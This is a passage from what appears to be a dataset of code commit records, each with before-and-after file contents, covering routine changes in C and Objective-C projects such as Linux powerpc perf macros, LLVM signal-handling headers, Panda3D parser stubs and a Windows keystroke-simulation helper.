eact-native,yamill\/react-native,wangziqiang\/react-native,hoangpham95\/react-native,InterfaceInc\/react-native,trueblue2704\/react-native,BretJohnson\/react-native,wangziqiang\/react-native,gauribhoite\/react-native,farazs\/react-native,gauribhoite\/react-native,roy0914\/react-native,booxood\/react-native,ankitsinghania94\/react-native,pjcabrera\/react-native,liuhong1happy\/react-native,philikon\/react-native,Livyli\/react-native,wesley1001\/react-native,jaredly\/react-native,leegilon\/react-native,leeyeh\/react-native,hharnisc\/react-native,steben\/react-native,kundanjadhav\/react-native,dabit3\/react-native,WilliamRen\/react-native,zvona\/react-native,Suninus\/react-native,oren\/react-native,callstack-io\/react-native,unknownexception\/react-native,cpunion\/react-native,TChengZ\/react-native,dikaiosune\/react-native,vjeux\/react-native,shinate\/react-native,wesley1001\/react-native,sdiaz\/react-native,gpbl\/react-native,iodine\/react-native,brentvatne\/react-native,dizlexik\/react-native,Shopify\/react-native,futbalguy\/react-native,nbcnews\/react-native,elliottsj\/react-native,sekouperry\/react-native,timfpark\/react-native,chentsulin\/react-native,jasonals\/react-native,mcrooks88\/react-native,wustxing\/react-native,michaelchucoder\/react-native,fengshao0907\/react-native,jmstout\/react-native,glovebx\/react-native,hoastoolshop\/react-native,cdlewis\/react-native,bimawa\/react-native,vlrchtlt\/react-native,ProjectSeptemberInc\/react-native,esauter5\/react-native,puf\/react-native,gre\/react-native,huip\/react-native,ldehai\/react-native,InterfaceInc\/react-native,Srikanth4\/react-native,mqli\/react-native,mchinyakov\/react-native,simple88\/react-native,YotrolZ\/react-native,mtford90\/react-native,maskkid\/react-native,goodheart\/react-native,christer155\/react-native,yushiwo\/react-native,magnus-bergman\/react-native,tgoldenberg\/react-native,hassanabidpk\/react-native,JasonZ321\/react-native,xinthink\/react-native,javache\/react-native,foghina\/react-native,jhen0409\/react-native,tsdl2013\/react-native,jadbox\/react-native,hike2008\/react-native,boopathi\/react-native,huip\/react-native,evilemon\/react-native,1988fei\/react-native"}
{"commit":"7b43c67950f0985be257f5fb7d656557e24d92d9","old_file":"arch\/powerpc\/perf\/hv-common.h","new_file":"arch\/powerpc\/perf\/hv-common.h","old_contents":"#ifndef LINUX_POWERPC_PERF_HV_COMMON_H_\n#define LINUX_POWERPC_PERF_HV_COMMON_H_\n\n#include <linux\/types.h>\n\nstruct hv_perf_caps {\n\tu16 version;\n\tu16 collect_privileged:1,\n\t    ga:1,\n\t    expanded:1,\n\t    lab:1,\n\t    unused:12;\n};\n\nunsigned long hv_perf_caps_get(struct hv_perf_caps *caps);\n\n#endif\n","new_contents":"#ifndef LINUX_POWERPC_PERF_HV_COMMON_H_\n#define LINUX_POWERPC_PERF_HV_COMMON_H_\n\n#include <linux\/perf_event.h>\n#include <linux\/types.h>\n\nstruct hv_perf_caps {\n\tu16 version;\n\tu16 collect_privileged:1,\n\t    ga:1,\n\t    expanded:1,\n\t    lab:1,\n\t    unused:12;\n};\n\nunsigned long hv_perf_caps_get(struct hv_perf_caps *caps);\n\n\n#define EVENT_DEFINE_RANGE_FORMAT(name, attr_var, bit_start, bit_end)\t\\\nPMU_FORMAT_ATTR(name, #attr_var \":\" #bit_start \"-\" #bit_end);\t\t\\\nEVENT_DEFINE_RANGE(name, attr_var, bit_start, bit_end)\n\n#define EVENT_DEFINE_RANGE(name, attr_var, bit_start, bit_end)\t\\\nstatic u64 event_get_##name##_max(void)\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\\\n\tBUILD_BUG_ON((bit_start > bit_end)\t\t\t\t\\\n\t\t    || (bit_end >= (sizeof(1ull) * 8)));\t\t\\\n\treturn (((1ull << (bit_end - bit_start)) - 1) << 1) + 1;\t\\\n}\t\t\t\t\t\t\t\t\t\\\nstatic u64 event_get_##name(struct perf_event *event)\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\\\n\treturn (event->attr.attr_var >> (bit_start)) &\t\t\t\\\n\t\tevent_get_##name##_max();\t\t\t\t\\\n}\n\n#endif\n","subject":"Add macros for defining event fields & formats","message":"powerpc\/perf: Add macros for defining event fields & formats\n\nAdd two macros which generate functions to extract the relevent bits\nfrom event->attr.config{,1,2}.\n\nEVENT_DEFINE_RANGE() defines an accessor for a range of bits in the\nevent, as well as a \"max\" function that gives the maximum value of the\nfield based on the bit width.\n\nEVENT_DEFINE_RANGE_FORMAT() defines the accessor & max routine and also\na format attribute for use in the PMU's attr_groups.\n\nSigned-off-by: Cody P Schafer <c4fe2b1d90ef8f2548c8aeabfa633434316f0305@linux.vnet.ibm.com>\n[mpe: move to powerpc, ugly but descriptive macro names]\nSigned-off-by: Michael Ellerman <864f124608374e06e4da1fa5d2e47ed839b95411@ellerman.id.au>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"facf0422c56fc82a3a6d9097c582228b54ff2846","old_file":"polygonmain.c","new_file":"polygonmain.c","old_contents":"#include <polygon.h>\n\n\nint main(int argc, char* argv[]) {\n\n\tPolygon lol;\n\n\tlol=createPolygon();\n\tlol=addPoint(lol, createPoint(12.6,-5.3));\n\tlol=addPoint(lol, createPoint(-4.1,456.123));\n\n\tprintf(\"\\n\\nx premier point : %f\", lol->value.x);\n\tprintf(\"\\ny premier point : %f\\n\\n\", lol->value.y);\n\n\tprintf(\"\\n\\nx 2eme point : %f\", lol->next->value.x);\n\tprintf(\"\\ny 2eme point : %f\\n\\n\", lol->next->value.y);\n\n\tprintf(\"\\n\\nx 3eme point : %f\", lol->next->next->value.x);\n\tprintf(\"\\ny 3eme point : %f\\n\\n\", lol->next->next->value.y);\n\n\treturn EXIT_SUCCESS;\n\n}\n\n","new_contents":"#include <polygon.h>\n\n\nint main(int argc, char* argv[]) {\n\n\tPolygon lol;\n\n\tlol=createPolygon();\n\tlol=addPoint(lol, createPoint(12.6,-5.3));\n\tlol=addPoint(lol, createPoint(-4.1,456.123));\n\n\tprintf(\"\\n\\ntaille : %d\", lol.size);\n\n\tprintf(\"\\n\\nx premier point : %f\", lol.head->value.x);\n\tprintf(\"\\ny premier point : %f\\n\\n\", lol.head->value.y);\n\n\tprintf(\"\\n\\nx 2eme point : %f\", lol.head->next->value.x);\n\tprintf(\"\\ny 2eme point : %f\\n\\n\", lol.head->next->value.y);\n\n\tprintf(\"\\n\\nx 3eme point : %f\", lol.head->next->next->value.x);\n\tprintf(\"\\ny 3eme point : %f\\n\\n\", lol.head->next->next->value.y);\n\n\treturn EXIT_SUCCESS;\n\n}\n\n","subject":"Print the size of the polygon","message":"Print the size of the polygon\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"9d4afff04d96cc793aaddd386f8d138652ed9d6c","old_file":"Pod\/Classes\/CMHErrors.h","new_file":"Pod\/Classes\/CMHErrors.h","old_contents":"#import <Foundation\/Foundation.h>\n\n#ifndef CMHErrors_h\n#define CMHErrors_h\n\nstatic NSString *const CMHErrorDomain = @\"CMHErrorDomain\";\n\ntypedef NS_ENUM(NSUInteger, CMHError) {\n    CMHErrorUserMissingConsent      = 700,\n    CMHErrorUserMissingSignature    = 701,\n    CMHErrorUserDidNotConsent       = 702,\n    CMHErrorUserDidNotProvideName   = 703,\n    CMHErrorUserDidNotSign          = 704\n};\n\n#endif\n","new_contents":"#import <Foundation\/Foundation.h>\n\n#ifndef CMHErrors_h\n#define CMHErrors_h\n\nstatic NSString *const CMHErrorDomain = @\"me.cloudmine.CMHealth.ErrorDomain\";\n\ntypedef NS_ENUM(NSUInteger, CMHError) {\n    CMHErrorUserMissingConsent      = 700,\n    CMHErrorUserMissingSignature    = 701,\n    CMHErrorUserDidNotConsent       = 702,\n    CMHErrorUserDidNotProvideName   = 703,\n    CMHErrorUserDidNotSign          = 704\n};\n\n#endif\n","subject":"Use Apple recommended format for error domain string","message":"Use Apple recommended format for error domain string\n","lang":"C","license":"mit","repos":"cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK"}
{"commit":"31a192f27be2444149748705c855e24f0e44a20d","old_file":"dtool\/src\/parser-inc\/Python.h","new_file":"dtool\/src\/parser-inc\/Python.h","old_contents":"\/\/ Filename: Python.h\n\/\/ Created by:  drose (12May00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ This file, and all the other files in this directory, aren't\n\/\/ intended to be compiled--they're just parsed by CPPParser (and\n\/\/ interrogate) in lieu of the actual system headers, to generate the\n\/\/ interrogate database.\n\n#ifndef PYTHON_H\n#define PYTHON_H\n\nclass PyObject;\nclass PyThreadState;\ntypedef int Py_ssize_t;\nstruct Py_buffer;\n\n#endif  \/\/ PYTHON_H\n","new_contents":"\/\/ Filename: Python.h\n\/\/ Created by:  drose (12May00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ This file, and all the other files in this directory, aren't\n\/\/ intended to be compiled--they're just parsed by CPPParser (and\n\/\/ interrogate) in lieu of the actual system headers, to generate the\n\/\/ interrogate database.\n\n#ifndef PYTHON_H\n#define PYTHON_H\n\nclass PyObject;\nclass PyThreadState;\ntypedef int Py_ssize_t;\nstruct Py_buffer;\n\n\/\/ This file defines PY_VERSION_HEX, which is used in some places.\n#include \"patchlevel.h\"\n\n#endif  \/\/ PYTHON_H\n","subject":"Fix interrogate understanding of PY_VERSION_HEX","message":"Fix interrogate understanding of PY_VERSION_HEX\n","lang":"C","license":"bsd-3-clause","repos":"chandler14362\/panda3d,mgracer48\/panda3d,grimfang\/panda3d,tobspr\/panda3d,hj3938\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,grimfang\/panda3d,Wilee999\/panda3d,hj3938\/panda3d,mgracer48\/panda3d,jjkoletar\/panda3d,mgracer48\/panda3d,Wilee999\/panda3d,Wilee999\/panda3d,brakhane\/panda3d,jjkoletar\/panda3d,ee08b397\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,grimfang\/panda3d,mgracer48\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,matthiascy\/panda3d,Wilee999\/panda3d,Wilee999\/panda3d,cc272309126\/panda3d,brakhane\/panda3d,brakhane\/panda3d,grimfang\/panda3d,jjkoletar\/panda3d,grimfang\/panda3d,mgracer48\/panda3d,jjkoletar\/panda3d,cc272309126\/panda3d,chandler14362\/panda3d,brakhane\/panda3d,tobspr\/panda3d,tobspr\/panda3d,Wilee999\/panda3d,jjkoletar\/panda3d,cc272309126\/panda3d,Wilee999\/panda3d,tobspr\/panda3d,matthiascy\/panda3d,jjkoletar\/panda3d,grimfang\/panda3d,grimfang\/panda3d,chandler14362\/panda3d,cc272309126\/panda3d,grimfang\/panda3d,cc272309126\/panda3d,mgracer48\/panda3d,grimfang\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,hj3938\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,Wilee999\/panda3d,hj3938\/panda3d,hj3938\/panda3d,ee08b397\/panda3d,cc272309126\/panda3d,matthiascy\/panda3d,tobspr\/panda3d,tobspr\/panda3d,grimfang\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,ee08b397\/panda3d,chandler14362\/panda3d,hj3938\/panda3d,hj3938\/panda3d,matthiascy\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,hj3938\/panda3d,cc272309126\/panda3d,Wilee999\/panda3d,hj3938\/panda3d,ee08b397\/panda3d,brakhane\/panda3d,tobspr\/panda3d,cc272309126\/panda3d,cc272309126\/panda3d,brakhane\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,ee08b397\/panda3d,matthiascy\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,ee08b397\/panda3d,chandler14362\/panda3d,matthiascy\/panda3d,jjkoletar\/panda3d"}
{"commit":"15980daa7ce97a67ebc430e6ed0aae180efdb490","old_file":"nodes\/examples\/iwdg\/main.c","new_file":"nodes\/examples\/iwdg\/main.c","old_contents":"#include <stdint.h>\n#include <stdbool.h>\n#include <stdio.h>\n\n#include <stm32f4xx_hal.h>\n\n#include <board_driver\/usb\/usb.h>\n#include <board_driver\/iwdg.h>\n\n\nint main(void) {\n\tusb_init();\n    HAL_Delay(1000);\n    setup_IWDG();\n    init_IWDG();\n    char start[] = \"Starting\\r\\n\";\n    usb_transmit(start, sizeof(start)\/sizeof(start[0]));\n\n    while (1) {\n\t\tchar str[] = \"Hello usb\\r\\n\";\n\t\tusb_transmit(str, sizeof(str)\/sizeof(str[0]));\n    HAL_Delay(500);\n\t}\n}\n","new_contents":"#include <stdint.h>\n#include <stdbool.h>\n#include <stdio.h>\n\n#include <stm32f4xx_hal.h>\n\n#include <board_driver\/usb\/usb.h>\n#include <board_driver\/iwdg.h>\n\n\nint main(void) {\n\tusb_init();\n    HAL_Delay(1000);\n    setup_IWDG();\n    init_IWDG();\n    printf(\"Starting\\r\\n\");\n\n    while (1) {\n\t\tprintf(\"Hello usb\\r\\n\");\n        HAL_Delay(500);\n\t}\n}\n","subject":"Change example_iwdg to use printf instead of usb_transmit","message":"Change example_iwdg to use printf instead of usb_transmit\n","lang":"C","license":"mit","repos":"AAU-Racing\/embedded_car,AAU-Racing\/embedded_car,AAU-Racing\/embedded_car"}
{"commit":"ac4b796c40c507d6f0c3c010ebdee6eabd683e4a","old_file":"include\/llvm\/System\/Signals.h","new_file":"include\/llvm\/System\/Signals.h","old_contents":"\/\/===- llvm\/System\/Signals.h - Signal Handling support ----------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines some helpful functions for dealing with the possibility of\n\/\/ unix signals occuring while your program is running.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_SIGNALS_H\n#define LLVM_SYSTEM_SIGNALS_H\n\n#include <string>\n\nnamespace llvm {\n\n  \/\/\/ RemoveFileOnSignal - This function registers signal handlers to ensure\n  \/\/\/ that if a signal gets delivered that the named file is removed.\n  \/\/\/\n  void RemoveFileOnSignal(const std::string &Filename);\n\n  \/\/\/ PrintStackTraceOnErrorSignal - When an error signal (such as SIBABRT or\n  \/\/\/ SIGSEGV) is delivered to the process, print a stack trace and then exit.\n  void PrintStackTraceOnErrorSignal();\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- llvm\/System\/Signals.h - Signal Handling support ----------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines some helpful functions for dealing with the possibility of\n\/\/ unix signals occuring while your program is running.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_SIGNALS_H\n#define LLVM_SYSTEM_SIGNALS_H\n\n#include \"llvm\/System\/Path.h\"\n\nnamespace llvm {\n\n  \/\/\/ This function registers signal handlers to ensure that if a signal gets \n  \/\/\/ delivered that the named file is removed.\n  \/\/\/ @brief Remove a file if a fatal signal occurs.\n  void RemoveFileOnSignal(const std::string &Filename);\n\n  \/\/\/ This function registers a signal handler to ensure that if a fatal signal\n  \/\/\/ gets delivered to the process that the named directory and all its\n  \/\/\/ contents are removed.\n  \/\/\/ @brief Remove a directory if a fatal signal occurs.\n  void RemoveDirectoryOnSignal(const llvm::sys::Path& path);\n\n  \/\/\/ When an error signal (such as SIBABRT or SIGSEGV) is delivered to the \n  \/\/\/ process, print a stack trace and then exit.\n  \/\/\/ @brief Print a stack trace if a fatal signal occurs.\n  void PrintStackTraceOnErrorSignal();\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add a function to remove whole directorys on fatal signal. Doxygenify function comments.","message":"Add a function to remove whole directorys on fatal signal.\nDoxygenify function comments.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@16079 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"bc887c89df35f64f0a19ee5789f8ad811a7691a5","old_file":"src\/graphics\/style.h","new_file":"src\/graphics\/style.h","old_contents":"\/\/\n\/\/ Created by gravypod on 9\/20\/17.\n\/\/\n\n#ifndef ENGINE_STYLE_H\n#define ENGINE_STYLE_H\n\n#include <duktape.h>\n\nvoid make_style(const char const *name,\n                float width, float height,\n                const char const *vertex_name, const char const *fragment_name);\nvoid draw_style(const char const *name, float x, float y);\n\n__attribute__((unused)) static duk_ret_t native_make_style(duk_context *ctx)\n{\n    const char const          *name = duk_require_string(ctx, 0);\n    const float               width = (float) duk_require_number(ctx, 1);\n    const float              height = (float) duk_require_number(ctx, 2);\n    const char const   *vertex_name = duk_require_string(ctx, 3);\n    const char const *fragment_name = duk_require_string(ctx, 4);\n    make_style(name, width, height, vertex_name, fragment_name);\n    return 0;\n}\n\n__attribute__((unused)) static duk_ret_t native_draw_style(duk_context *ctx)\n{\n    const char const          *name = duk_require_string(ctx, 0);\n    const float                   x = (float) duk_require_number(ctx, 1);\n    const float                   y = (float) duk_require_number(ctx, 2);\n    draw_style(name, x, y);\n    return 0;\n}\n\n#endif \/\/ENGINE_STYLE_H\n","new_contents":"\/\/\n\/\/ Created by gravypod on 9\/20\/17.\n\/\/\n\n#ifndef ENGINE_STYLE_H\n#define ENGINE_STYLE_H\n\n#include \"lib\/duktape\/duktape.h\"\n\nvoid make_style(const char const *name,\n                float width, float height,\n                const char const *vertex_name, const char const *fragment_name);\nvoid draw_style(const char const *name, float x, float y);\n\n__attribute__((unused)) static duk_ret_t native_make_style(duk_context *ctx)\n{\n    const char const          *name = duk_require_string(ctx, 0);\n    const float               width = (float) duk_require_number(ctx, 1);\n    const float              height = (float) duk_require_number(ctx, 2);\n    const char const   *vertex_name = duk_require_string(ctx, 3);\n    const char const *fragment_name = duk_require_string(ctx, 4);\n    make_style(name, width, height, vertex_name, fragment_name);\n    return 0;\n}\n\n__attribute__((unused)) static duk_ret_t native_draw_style(duk_context *ctx)\n{\n    const char const          *name = duk_require_string(ctx, 0);\n    const float                   x = (float) duk_require_number(ctx, 1);\n    const float                   y = (float) duk_require_number(ctx, 2);\n    draw_style(name, x, y);\n    return 0;\n}\n\n#endif \/\/ENGINE_STYLE_H\n","subject":"Use local copy of duktape header.","message":"Use local copy of duktape header.\n","lang":"C","license":"mit","repos":"gravypod\/solid-snake,gravypod\/solid-snake,gravypod\/solid-snake"}
{"commit":"c15b5da48b1fa3bec9315df8f66b7e36658d1742","old_file":"include\/pugl\/pugl_cairo.h","new_file":"include\/pugl\/pugl_cairo.h","old_contents":"\/*\n  Copyright 2012-2020 David Robillard <d@drobilla.net>\n\n  Permission to use, copy, modify, and\/or distribute this software for any\n  purpose with or without fee is hereby granted, provided that the above\n  copyright notice and this permission notice appear in all copies.\n\n  THIS SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n\/**\n   @file pugl_cairo.h\n   @brief Declaration of Cairo backend accessor.\n*\/\n\n#ifndef PUGL_PUGL_CAIRO_H\n#define PUGL_PUGL_CAIRO_H\n\n#include \"pugl\/pugl.h\"\n\nPUGL_BEGIN_DECLS\n\n\/**\n   @defgroup cairo Cairo\n   Cairo graphics support.\n   @ingroup pugl_c\n   @{\n*\/\n\n\/**\n   Cairo graphics backend accessor.\n\n   Pass the return value to puglInitBackend() to draw to a view with Cairo.\n*\/\nPUGL_API PUGL_CONST_FUNC const PuglBackend*\npuglCairoBackend(void);\n\n\/**\n   @}\n*\/\n\nPUGL_END_DECLS\n\n#endif \/\/ PUGL_PUGL_CAIRO_H\n","new_contents":"\/*\n  Copyright 2012-2020 David Robillard <d@drobilla.net>\n\n  Permission to use, copy, modify, and\/or distribute this software for any\n  purpose with or without fee is hereby granted, provided that the above\n  copyright notice and this permission notice appear in all copies.\n\n  THIS SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n\/**\n   @file pugl_cairo.h\n   @brief Declaration of Cairo backend accessor.\n*\/\n\n#ifndef PUGL_PUGL_CAIRO_H\n#define PUGL_PUGL_CAIRO_H\n\n#include \"pugl\/pugl.h\"\n\nPUGL_BEGIN_DECLS\n\n\/**\n   @defgroup cairo Cairo\n   Cairo graphics support.\n   @ingroup pugl_c\n   @{\n*\/\n\n\/**\n   Cairo graphics backend accessor.\n\n   Pass the return value to puglSetBackend() to draw to a view with Cairo.\n*\/\nPUGL_API PUGL_CONST_FUNC const PuglBackend*\npuglCairoBackend(void);\n\n\/**\n   @}\n*\/\n\nPUGL_END_DECLS\n\n#endif \/\/ PUGL_PUGL_CAIRO_H\n","subject":"Fix outdated function reference in Cairo documentation","message":"Fix outdated function reference in Cairo documentation\n","lang":"C","license":"isc","repos":"drobilla\/pugl,drobilla\/pugl,drobilla\/pugl"}
{"commit":"1fb1e0ec9a8ab87985448e8b82b20884a186ec31","old_file":"include\/dt-bindings\/sound\/audio-jack-events.h","new_file":"include\/dt-bindings\/sound\/audio-jack-events.h","old_contents":"","new_contents":"#ifndef __AUDIO_JACK_EVENTS_H\n#define __AUDIO_JACK_EVENTS_H\n\n#define JACK_HEADPHONE\t\t1\n#define JACK_MICROPHONE\t\t2\n#define JACK_LINEOUT\t\t3\n#define JACK_LINEIN\t\t4\n\n#endif \/* __AUDIO_JACK_EVENTS_H *\/\n","subject":"Add jack types to dt-bindings","message":"ASoC: Add jack types to dt-bindings\n\nAdding the jack type to the dt-bindings directory will allow for device\ntree files to specify the type of audio jacks that are present for a\nboard.\n\nSigned-off-by: Dylan Reid <c791bfe44996c1eed9c7149a0c5f12a86d58eb85@chromium.org>\nSigned-off-by: Mark Brown <b51b9a92386687a9ac927cebfa0f978adeb8cea5@kernel.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"a6cf12de9bae887b91767b2d3e1e4a4f64a410e9","old_file":"3RVX\/FakeKeyboard.h","new_file":"3RVX\/FakeKeyboard.h","old_contents":"#pragma once\n\n#include <Windows.h>\n\nclass FakeKeyboard {\npublic:\n    static void SimulateKeypress(unsigned short vk) {\n        INPUT input = { 0 };\n        input.type = INPUT_KEYBOARD;\n        input.ki.wVk = vk;\n        input.ki.wScan = 0;\n        input.ki.dwFlags = 0;\n        input.ki.time = 0;\n        input.ki.dwExtraInfo = GetMessageExtraInfo();\n\n        \/* key down: *\/\n        SendInput(1, &input, sizeof(INPUT));\n\n        \/* key up: *\/\n        input.ki.dwFlags = KEYEVENTF_KEYUP;\n        SendInput(1, &input, sizeof(INPUT));\n    }\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n\nclass FakeKeyboard {\npublic:\n    static void SimulateKeypress(unsigned short vk) {\n        unsigned int scan = MapVirtualKey(vk, MAPVK_VK_TO_VSC);\n\n        INPUT input[2];\n\n        input[0] = { 0 };\n        input[0].type = INPUT_KEYBOARD;\n        input[0].ki.wVk = vk;\n        input[0].ki.wScan = scan;\n        input[0].ki.dwFlags = KEYEVENTF_SCANCODE;\n        input[0].ki.time = 0;\n        input[0].ki.dwExtraInfo = GetMessageExtraInfo();\n\n        input[1] = { 0 };\n        input[1].type = INPUT_KEYBOARD;\n        input[1].ki.wVk = vk;\n        input[1].ki.wScan = scan;\n        input[1].ki.dwFlags = KEYEVENTF_SCANCODE | KEYEVENTF_KEYUP;\n        input[1].ki.time = 0;\n        input[1].ki.dwExtraInfo = GetMessageExtraInfo();\n\n        UINT result = SendInput(2, input, sizeof(INPUT));\n    }\n};","subject":"Send simulated keystrokes as a single atomic event","message":"Send simulated keystrokes as a single atomic event\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"c06d2e9315ecd8c1cda65aab7a2f024fd540c8ae","old_file":"src\/kernel\/thread\/idle_thread.c","new_file":"src\/kernel\/thread\/idle_thread.c","old_contents":"\/**\n * @file\n *\n * @date Jul 18, 2013\n * @author: Anton Bondarev\n *\/\n\n#include <kernel\/task.h>\n#include <kernel\/thread.h>\n#include <kernel\/thread\/thread_alloc.h>\n#include <hal\/arch.h> \/*only for arch_idle *\/\n\n\n#include <hal\/cpu.h>\n#include <kernel\/cpu\/cpu.h>\n\n\/*\n * Function, which does nothing. For idle_thread.\n *\/\nstatic void *idle_run(void *arg) {\n\twhile (true) {\n\t\tarch_idle();\n\t}\n\treturn NULL;\n}\n\n\nstruct thread *idle_thread_create(void) {\n\tstruct thread *t;\n\tsched_priority_t prior;\n\n\tif (!(t = thread_alloc())) {\n\t\treturn NULL;\n\t}\n\n\n\tthread_init(t, THREAD_FLAG_NOTASK | THREAD_FLAG_SUSPENDED, idle_run, NULL);\n\tt->task = task_kernel_task();\n\tt->task->main_thread = t;\n\n\tprior = sched_priority_full(t->task->priority, THREAD_PRIORITY_MIN);\n\n\tthread_priority_set(t, prior);\n\n\tcpu_init(cpu_get_id(), t);\n\n\treturn t;\n}\n","new_contents":"\/**\n * @file\n *\n * @date Jul 18, 2013\n * @author: Anton Bondarev\n *\/\n\n#include <kernel\/task.h>\n#include <kernel\/thread.h>\n#include <err.h>\n#include <kernel\/thread\/thread_alloc.h>\n#include <hal\/arch.h> \/*only for arch_idle *\/\n\n\n#include <hal\/cpu.h>\n#include 